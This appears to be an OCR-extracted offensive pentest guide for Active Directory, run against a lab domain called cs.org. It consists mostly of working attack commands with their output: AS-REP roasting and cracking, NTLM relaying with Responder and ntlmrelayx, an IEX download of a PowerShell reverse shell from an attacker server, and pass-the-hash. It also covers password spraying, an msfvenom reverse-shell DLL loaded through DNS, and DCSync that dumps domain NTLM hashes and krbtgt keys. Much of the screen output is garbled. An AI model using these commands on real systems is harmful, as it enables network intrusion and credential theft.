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Enumerate Active Directory

From linux we can execute modules and files in powershell like Powerview, this is a great
advantage if we are connected to an internal network, "We will save by evading AV/EDR signatures
and behaviors as long as we're in the right segment active directory.

Install Powershell in linux

sudo apt update && sudo apt install -y curl gnupg apt-transport-https

curl https://packages.microsoft.com/keys/microsoft.asc | sudo apt-key add -

sudo sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-debian-
bullseye-prod bullseye main" > /etc/apt/sources.list.d/microsoft.list'

sudo apt update && sudo apt install -y powershell

pwsh

Enumerate AD with Bloodhound-python

Example:
bloodhound-python -u kai.bel -p password1 -ns 192.168.200.129 -d cs.org -c All

~

— -u kai.bel -p passwordl -ns 192.168.200.129 -d cs.org -c All
INFO: Found AD domain:

INFO: Connecting to LDAP server: DC-@1.cs.org

INFO: Found 1 domains

INFO: Found 1 domains in the forest

INFO: Found 9 computers

INFO: Connecting to LDAP server: DC-@l.cs.org

INFO: Found

INFO: Found [

INFO: Conne GC LDAP server: DC-0@l.cs.org
INFO: Found @ sts

INFO: Starti mputer enumeration with 1@ workers
INFO:

INFO:

INFO:

INFO:

INFO:

INFO:

INFO:

INFO:

INFO: ) g

INFO: pping e .c5.0rg since it could not be resolved.
INFO: Done in @@

Resources:
https://github.com/fox-it/BloodHound.py
https://github.com/BloodHoundAD/BloodHound



Search Users DCSync Rights in BloodHound

ADMINS. DEL DOMINIO@CS.ORG

ADMINISTRADORES@CS.ORG

ADMINISTRADORES DE EMPRESAS@CS.0RG

REBEKAH.SIMONETTE@CS.ORG
DC-01 L;JS,DRG
ADMINISTRADOR@CS.ORG
SEP‘VEPA[}I‘AII\J,CS ORG
MEDIAADMIN.CS.0RG

HERNAN@CS.0RG

Search Users AS-REP Roastable Users (DontReqPreAuth) in
BloodHound

MADEEN.BRIGID( ORG LESLEY.CHERRITA@CS.ORG

BRUNHILDA.MELISENT@CS.ORG MERLINA.ROBBI@CS.ORG




Search Unconstrained Delegation in BloodHound

ADMINISTRADORES@CS.ORG

ADMINISTRADORES CLAVE@CS.ORG

OPERS. DE CUENTAS@CS.ORG ADMINISTRADORES CLAVE DE LA ORGANIZACIO

Memberf -
2oz
=

SERVERADMIN.CS.ORG ADMINS. DEL DOMINIO@CS.ORG

Search Shortest Paths to Domain Admins in BloodHound

ADMINISTRADORES DE EMPRESAS@CS.ORG

2e2 2ot

ADMINISTRADORES(@ G ADMINS. DEL DOMINIO@CS.ORG

OPERS. DE CUENTAS(@

SERVERADMIN.CS.ORG

ADMINISTRADORES CLAVE@CS.ORG

HERNANPC.CS.ORG ADMINISTRADOR@CS.ORG

ADMINISTRADORES CLAVE DE LA ORGANIZACIOI




Identificate actives with crackmapexec

Example:
crackmapexec smb 192.168.200.0/24 -d cs.org

cs.org

4
DC-01 Windows Server 2016 Essentials x64 (name:DC-01) (domain:cs.org) (signing:True) (SMBv1:True)
HERNANPC wind 0.0 Build 2 c) (dom r

WIN1@® Windc 10.0 Build 1!

Identificate actives with nmap

Example:
nmap -sV -p445,139 192.168.200.0/24 -vvv

oft Windows netbios-ssn

In this scenario we find 3 devices 1 DC and 2 workstations.
we have blocked access to shared folders.

nmap --script smb-enum-shares -p 139,445 192.168.100.0/24
nmap --script=smb-enum* --script-args=unsafe=1 -T5 192.168.100.7

Identificate actives with nbtscan

Example:
nbtscan -r 192.168.200.0/24

rom 192.16¢

NetBIOS Name r User

<unknown> <unknown>
DC-81 <server> <unknown>
WIN1® 'ver>  <unknown>
HERNANPC r >  <unknown>
Sendto failed: Permission denied




AS-REP Roasting

ASREPROoast attack looks for users with don't require Kerberos pre-authentication attribute
(DONT_REQ_PREAUTH).

Impacket GetNPUsers

ASREPROoast attack looks for users with don't require Kerberos pre-authentication attribute
(DONT_REQ_PREAUTH).

Example:

/usr/bin/GetNPUsers.py cs.org/kai.bel:password1 -dc-ip 192.168.200.129 -request -format john -
outputfile outputfile.txt

john tputfile outputfile.txt

Password cracking with john

Example:

john --format:krb5asrep outputfile.txt --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-
passwords-100000.txt

outputfile. txt

EP etype ID4 3KDF2 HM,

Resources:
https://github.com/openwall/john
https://github.com/Secure AuthCorp/impacket/



SMB Signhing Disabled | ntimrelayx

This kind of attack is very dangerous because anybody with access to the network can capture
traffic, relay it, and get unauthorized access to the servers.

Lateral Movement via SMB Relaying.

Responder and ntimrelayx.py (Local Admin Dumping local
SAM hashes)

Example:
sudo nano /usr/share/responder/Responder.conf (edit smb for off and https off)

GNU Jusr/share/responder/Responder.conf

nano 6.4

Kerber
FTP
POP =

SMTP =
IMAP
HIIP

LDAP = On
DCERPC = On
WINEM = On

LLMNR &

To support this ject:
Patreon — https wi . patreon.com/PythonResponder
pal — https paypal.me/PythonResponder

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
LLMNR
NBT-NS
MDNS
DNS
DHCP

HTTP server

HTTPS er LON ]
WPAD prox [ON]
Auth nrox

SMB se




sudo In -s /usr/share/doc/python3-impacket/examples/* /usr/bi

GNU nano 6.4 target.txt

sudo ntlmrelayx.py -tf target.txt -smb2support

Victim: You will manually enter a shared path.

. “hsadsada
Escriba el nombre del programa, carpeta, documento o

=1 recurso de Internet que desea abrir con Windows,
e \\sadsada

Arir | Wsadsada El servidor especificade no puede gjecutar |a operacion solicitada.

!;7 Esta tarea se creard con privilegios administrativos.

Aceptar Cancelar Examinar...

Attacker: will have dumped the hashes stored on the PC’s 192.168.200.129 and 192.168.200.130

controlled, but there are no more t

Reverse TCP Responder and ntimrelayx.py

sudo python3 /usr/share/responder/Responder.py -I ethO -dw

python3 -m http.server 8080

ntlmrelayx.py -tf /home/hernan/target.txt -smb2support -c "powershell [EX(New-Object
Net.WebClient).downloadString('http://192.168.1.6:8080/Invoke-PowerShell Tcp.ps1')"

CCEED
ADOR@192.

ADOR@192.

ection from MINISTRADOR@19 ontrolle

Connection from /ADMINISTRADOR®192. controlled, but the

Connection from DMINISTRADORD ; - ontrolled, but there

onnection from 'ADMINIS 0 ; s ontrolled, but there

nnection from IINIS




ershellTcp.psl HTTR/1.1"
JInve 1 11Tcp.psl HTTP/1.1"
"GET 4 CE erShellTcp.psl HTTP/1.1"

4473

Version 7
Listening
Listening on 0.0.0.
Connection trom 192.
tion from 192.16 s
L running 1 % on HERNANPC
licrosoft Corporation. All rights reserwv

Mitm6 and ntimrelayx.py

Example:
pip install mitm6
ntlmrelayx.py -6 -wh 192.168.1.6 -tf /home/hernan/target.txt -socks -debug -smb2support

o~

onfiguration:

g y r telemetry.invicti.com. from
Ignored ery telemetry.invicti.com. from
Ignored ery emetry.invicti.com. from
Ignored ery ] osoft.com.
Ignored ery from

red ery soft.com.
gnor v com. from
Ignored ery ele com. from
Ignored guery elemetry com. from



ntlmrelayx.py -6 -wh 192.168.1.6 -tf /home/hernan/target.txt -socks -debug -smb2support

ntlmrel

[*] HTTP

[*] HTTPD(
[*] HTTPD(
[*] HTTP

[*] HTTPD(
[-]1 signi
[*] HTTPD(
[*] HTTPD(
[*] HTTPD(

HTTPD(

HTTPD( H

HTTPD( . .16 0. E SUCCEED

No mor

HTTPD( e S - controlled, but there are no more tar
C 2 ( Enjoy

Victim:
o) 19216816 % |+ _
< C @ 192.168.1.6 Y6  T= s ..
Seguridad de Windows =

Inicie sesion para obtener acceso a este sitio

Autorizacion requerida por http://192.168.1.6

cs\Administrador

Dominio: cs

Cancelar

ntlmrelayx> socks




Pass The Hash

It is a technique that allows an attacker to authenticate to a remote server or service using the
underlying NTLM or LanMan hash of a user's password, rather than requesting the associated plain
text password, as is often the case.

crackmapexec

Example:
crackmapexec smb -u 'Administrador' -H "2b73e1a325df8ca7bd82063457391964' --exec-method
smbexec -x whoami 192.168.200.0/24 -d cs.org

1@.8 Build

via smbexec

W d via smbexec
WINl@ n

Evil-Winrm

Example:
evil-winrm -u Administrador -H '2b73e1a325df8ca7bd82063457391964' -i 192.168.200.129

Administrador EH ['2b73e1a325df8ca7bd82063457391964" 1 192.168.200.129

d due to ruby limitation: etection c() function is unimplemented on this machine

uments> []

Pth-Winexe

Example:

pth-winexe -U cs.org/Administrador
%aad3b435b51404eeaad3b435b51404ee:2b73e1a325df8ca7bd82063457391964 //192.168.200.129
cmd.exe

29 cmd.ex




Impacket

Example:
smbclient.py -hashes aad3b435b51404eeaad3b435b51404ee:2b73e1a325df8ca7bd82063457391964
cs.org/Administrador@192.168.200.129

# who
host

host
# info
sion Maj

rsion Min
r Name:
" Comm
r UserPath:
ineous User

Example:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b73e1a325df8ca7bd82063457391964
cs.org/Administrador@192.168.200.129

- : Administrador@l92. 1¢
Impacket v@.10.8 - Co

[#] Requestin
[*] Found i
[*] Uploadi
2]

ommands
er running
dard-encodings
dec

Example:
wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b73el1a325df8ca7bd82063457391964
cs.org/Administrador@192.168.200.129

Impacke
[*]

L] & C mi-int shell - Careful what you execute
P Ll commands

[!]

administrador




Password Spraying

Password spraying is a technique used by an attacker to obtain valid access credentials that consists
of trying the same password on multiple users.

crackmapexec

Password spraying SMB

Example:
crackmapexec smb 192.168.200.128 -d cs.org -u users.txt -p 'Changeme123!'

(domain:cs.org

igning:False

_LOGON_FATLURE
_LOGON_FATLURE
! STATUS_LOGON_FATLURE
! STATUS_LOGON_FATLURE
LOGON_FAILURE
LOGON_FAILURE
| STATUS_LOGON_FAILURE
FAILURE
LOGON_FAILURE
US_LOGON_FAILURE
LOGON_FATLURE
_LOGON_FATLURE
_LOGON_FATLURE
LOGON_FATLURE
_LOGON_FATLURE
LOGON_FATILURE
TATUS_LOGON_FATILURE
LOGON_FAILURE

LOGON_FAILURE
_LOGON_FAILURE
LOGON_FAILURE

L OGON_FAILURE

Connect remote SMB

Example:
/usr/bin/smbexec.py 'cs.org/administrador:cs2022!@192.168.200.128'

cureAuth Corporation

eful

Example:

WIN1@




Password spraying winrm

Example:
crackmapexec winrm 192.168.200.129 -d cs.org -u /home/hernan/users.txt -p 'Changeme123!"

-[~/Infraestructura/AD/Linux/GoSpray]

192.168 .129 - -u fhome/hernan/users.txt -
92.168.
dminist

1:
1;
1:

Bl
1:
1;
1
1:

B.1.
1:
1;
1:
1:

B.1:
1;
1
1:
1:

B.1:
1;

|

@.129
129

213

Connect remote winrm

Example:
evil-winrm -i 192.168.200.129 -u lancelot.carla -p Changeme123!

@.129 lancelot.carla -p Changemel23

» ruby limitation

> whoami
csh\lancelot.

cuments> [l

Resources:
https://github.com/Porchetta-Industries/CrackMapExec
https://github.com/Secure AuthCorp/impacket/
https://github.com/Hackplayers/evil-winrm



Abusing ACLs/ACEs

Any misconfiguration in the registry's ACL permissions can allow a standard user (with low
privileges) to make settings in GPOs, add users to a specific group, change passwords, etc.

= MARKETING@CS.ORG

PROJECT MANAGEMENT@CS.ORG .
adn
=lC)
PROJECT MANAGEMENT@CS.0RG

Node Info

EXECUTION RIGHTS

aoa
o
MARKETING@CS.0RG

In this scenario we can see that the users of the "Marketing" group have permissions to add users to
the "Project Management" group, change passwords, etc.

Changing passwords:
$Pass = ConvertTo-SecureString 'P@ssw0d!" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('cs.org\merry.inger', $Pass)

Adding a group

Add-DomainObjectAcl -Credential $Creds -TargetIdentity "Domain Admins" -Rights
WriteMembers

posdata: This proof of concept can be done with PowerView. (I will omit to add an image)



DnsAdmin

For the attack to work, you must have compromised an account that is a member of the DNS
administrators group or that has write privileges on a DNS server object.

The attack vector consists of injecting a malicious DLL into the DNS process that runs as a system
to scale when the service is restarted.

Example:
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=192.168.1.6 LPORT=80 -f dll >

dns.dll
dnscmd.exe DC-01 /config /serverlevelplugindll C:\Users\kai.bel\Documents\dns.dll

sc.exe stop dns
sc.exe start dns

posdata: you must have local administrator privileges or service management permissions for
exploitation.



DCSync

Abuse in AD where a user who is member of the DNSAdmins group or have write privileges to a
DNS server object can load an arbitrary DLL with SYSTEM privileges on the DNS server

Mimikatz

Example:

IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.1.6/Invoke-Mimikatz.ps1");
Invoke-Mimikatz -Command "'lsadump::dcsync /domain:cs.org /user: Administrador™

mimi

[DC] 'c

[DC] "DC-@1.
[DC] "Administ
[rpc] Service
[rpc] Authn

Hash NTLM
ntlm-
ntlm-
ntlm-
Im -
Im -

nti

_hmac

_hmac

dcsync /domain:cs.or

i DC
ill be the user

EGOTIATE (

Administr

Administrador
30000¢ USER_

er-Ke *
ORGAdministr
i 4@96

‘'user:Administrador




Impacket

Example:
secretsdump.py cs.org/elle.maggee:password@192.168.200.129 -just-dc

cs.org/elle.maggee:passwordml192.168.200.129 -
Impacket v0.10.@ - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uwid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrador:500:a3ad3b435b51404eeaad3b435b51404ee:2b73e1a325df8ca7bd82063457391964 :::
Invitado:501:aad3b435b51404eeaad3bi35b51404ee:31d6cfe@d16ae931b73¢c59d7e@c@89¢cd :::
krbtgt:502:3ad3b435b51404eeaad3b435b51404ee:8b6ef9ce714de2d94d@71b12f10dbE6T 12
DefaultAccount:503:a3ad3b435b51404eeaad3bs35b51404ee:31d6cfeld16ae931b73c59d7e0cBB89cO :::
hernan:1000:aad3b435b51404eeaad3b435b51404ee:91b98973effed57a00ee185e3Fbof82f 1 ::
cs.orghdelcine.livvy:1176:aad3b435b51404eeaad3bs35b51404ee:ae95f8ee768b13386Tb41a490dbBBdAd 12
cs.orghjessi.karola:1177:a3ad3b435b51404eeaad3b435b51404ee:bBeae3aacbh95335344fceebl24d3bbba
cs.orghreine.lynde:1178:aad3b435b514@4eeaad3b435b51404ee:022fb78a9f754ab55c59fc02d12dd3e5 :::
cs.orghkarin.cindra:1179:aad3b435b51404eeaad3b435b51404ee:32b90ddb@f9563e9887460a2914af1al :::
cs.orghlesley.cherrita:1180:aad3b435b51404eeaad3bs35b51404ee:32ed87bdb5fdc5e9cba88547376818d4 11
cs.orghcollete.sarena:1181:aad3b435b51404eeaad3b4s35b51404ee:258846bcbf275d66789af686c29eB0aa  ::
cs.orghrebekah.simonette:1182:aad3b435b51404eeaad3b435b51404ee:19e3254ed2e75c687e3498a19295e853 112
cs.orghbobbye.delilah:1183:aad3b435b51404eeaad3b435b51404ee:edc061868c840dbb24d17ceaBl176b8cf ::
cs.orghbetteanne.gelya:1184:aad3b435b51404eeaad3b435b51404ee:b4c9T52eead@bf482171e67081067393 1 :
cs.orghbrunhilda.melisent:1185:aad3b435b51404eeaad3b435b51404ee:7668d6937644cd@1f969b8c176b2af14 :::
cs.orghkai.bel:1186:aad3b435b51404eeaad3b4s35b51404ee:5835048ce94ad0564229a924a03510ef 122
cs.orghricca.starr:1187:aad3b435b514@4eeaad3b435b51404ee:932494223b8cbdb25d1b6f1c43fd739%e :::
cs.orghrosalia.scarlet:1188:aad3b435b51404eeaad3b435b51404ee: cdie7b2b10e96bf100939e248e460al3 1 :
cs.orghjandy. jobey:1189:aad3b435b51404eeaad3b4s35b51404ee: @dB8c495bbac6ad350b355d035ab0debs :::
cs.orghnadeen.brigid:1190:aad3b435b51404eeaad3b435b51404ee: 8846T7eaee8fb117ad06bdd830b7586¢
cs.orghelle.maggee:1191:aad3b435b51404eeaad3bs35b51404ee:8846FT7eace8fbl17ad@6bdd830b7586C :::
cs.orghcacilia.bobine:1192:aad3b435b51404eeaad3b435b51404ee:94685173d8701838a8bd0795391aab2f :::
cs.orghcinda.becca:1193:aad3b435b514@4eeaad3b4s35b51404ee: 48fdd97bf3bbbd5d760fedf3086118b6 :::
cs.orghlevey.helaina:1194:aad3b435b51404eeaad3b435b51404ee: fefdf98ed5cf55d0648243F45693e0f7 112
cs.orgheddi.malinde:1195:aad3b435b51404eeaad3b435b51404ee:3128842b788966e3f4bf1286d6T10ddb :
cs.orghlenee.lisbeth:1196:aad3b435b51404eeaad3b435b51404ee: fdbaBdealsl15eabe5c1c@91133496b4 1::
cs.orghlancelot.carla:1197:aad3b435b51404eeaad3b435b51404ee:57c5a5bc7c@elf98e9c9d81161e74chs 112
cs.orghlexine.april:1198:3ad3b435b51404eeaad3b435b51404ee:c@ab@ast5527bbb8bc7d9d15bebcaag9y 1 :
cs.orghmarika.catarina:1199:aad3b435b51404eeaad3b435b51404ee:3d5ba977b04f4a481d1d86024126ccfC:::
cs.orghjanka.kalila:1200:3ad3b435b51404eeaad3b435b51404ee:1b5fd36fd806997ad2elf5ac2c37155b
cs.orghchristal.mellisent:1201:aad3b435b51404eeaad3b4s35b51404ee:66ab38bd2b8b3e53db522922081e6110 :::
cs.orghgabrielle.steffi:1202:3ad3b435b51404eeaad3b435b51404ee: 468bebd8527f5b93ab7c62f8a5¢ca2516 ::
cs.orghjordanna.bertha:1203:aad3b435b51404eeaad3b435b51404ee: fab940aba@8b872eel1b@d36b4496€696 :::
cs.orghronalda.quintilla:1204:3ad3b435b51404eeaad3bs35b51404ee:388c3ea6e52f0fc@03636ecebf8d5fat i:
cs.orghmerlina.robbi:12@5:aad3b435b51404eeaad3b435b51404ee: 6d3d314d16b23f15b34bcbabf87bf8be :::
DC-@1%:1001:aad3b435b51404eeaad3bs35b51404ee:3b15eddcfdB72d9ccfie51619509c400 1::
http_svc$:1214:aad3bs35b51404ecaad3bs35b51404ee :dd6@94cbf2f1dd6e745a54e814baf8b9 1 :
mssql_svc$:1215:aad3b435b51404eeaad3bs3sSh51404ee:3cff3929d16Ff07d9b9fbalb564254e32 112
exchange_svc$:1216:aad3b43Sb514@4eeaad3b435b514@4ee:c8525d5?5f@daf@ced8b?5?dc@56a2??:::
PC-01%$:1217:aad3b435b51404eeaad3bs35b51404ee: 09dfd4b9496cfc3c111152716dd269e3 112
ServerAdmin$:1218:aad3b&435b51404eeaad3bs35b51404ee:2e5233b0e581d4eB8bBf53eacbeaad2cs i::
MediaAdmin$:1230:aad3b435b51404eeaad3bs35b51404ee:6561924935e6Ta232c5dfa52be793F36:::
WIN10%$:1231:a3ad3b435b51404eeaad3bs35b51404ee:7bbe@sbb68567116b157e6F2b8202dFTF 112
HERNANPC$:1602:aad3b435b51404eeaad3b435b51404ee : 8cOf3bbablaf7ba7240bld3fescff9el 1

[*] Kerberos keys grabbed
Administrador:aes256-cts-hmac-shal-96:d927c1ff26619f3421f6ccc66d30Bcectf815e9290bbfd3bd2a623e43df48ccS
Administrador:aes128-cts-hmac-shal-96:e422191f986e703860884b9fd@1cafid
Administrador:des-cbc-md5:5e@0238c194cd4asl
krbtgt:aes256-cts-hmac-shal-96:332b656943d8085753e915679129d72cea586d4136c83500eac515bbf1abbisd
krbtgt:aes128-cts-hmac-shal-96:2dae32ec42ae855fcak4aibastiebblc
krbtgt:des-cbc-md5:d5ab4@707c6edbic

secretsdump.py cs.org/elle.maggee:password@192.168.200.129 -just-dc-user krbtgt

cs.org/elle.maggee:passwordm)l92.168.200.129
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[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)

[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:a3ad3b435b514084eeaad3b4i35b51404ee:8b6ef9ce714de2d94d071b12f10db669 @ :

[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-shal-96:332b656943d8885753e915679129d72cea586d4136c83500eac515bbflabbsso
krbtgt:aes128-cts-hmac-shal-96:2dae32ec42aeB55fcabdsaibasbdebblic
krbtgt:des-cbc-md5:d5ab4@7@7cbedbic

[*] Cleaning up...
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! Thank you very much !
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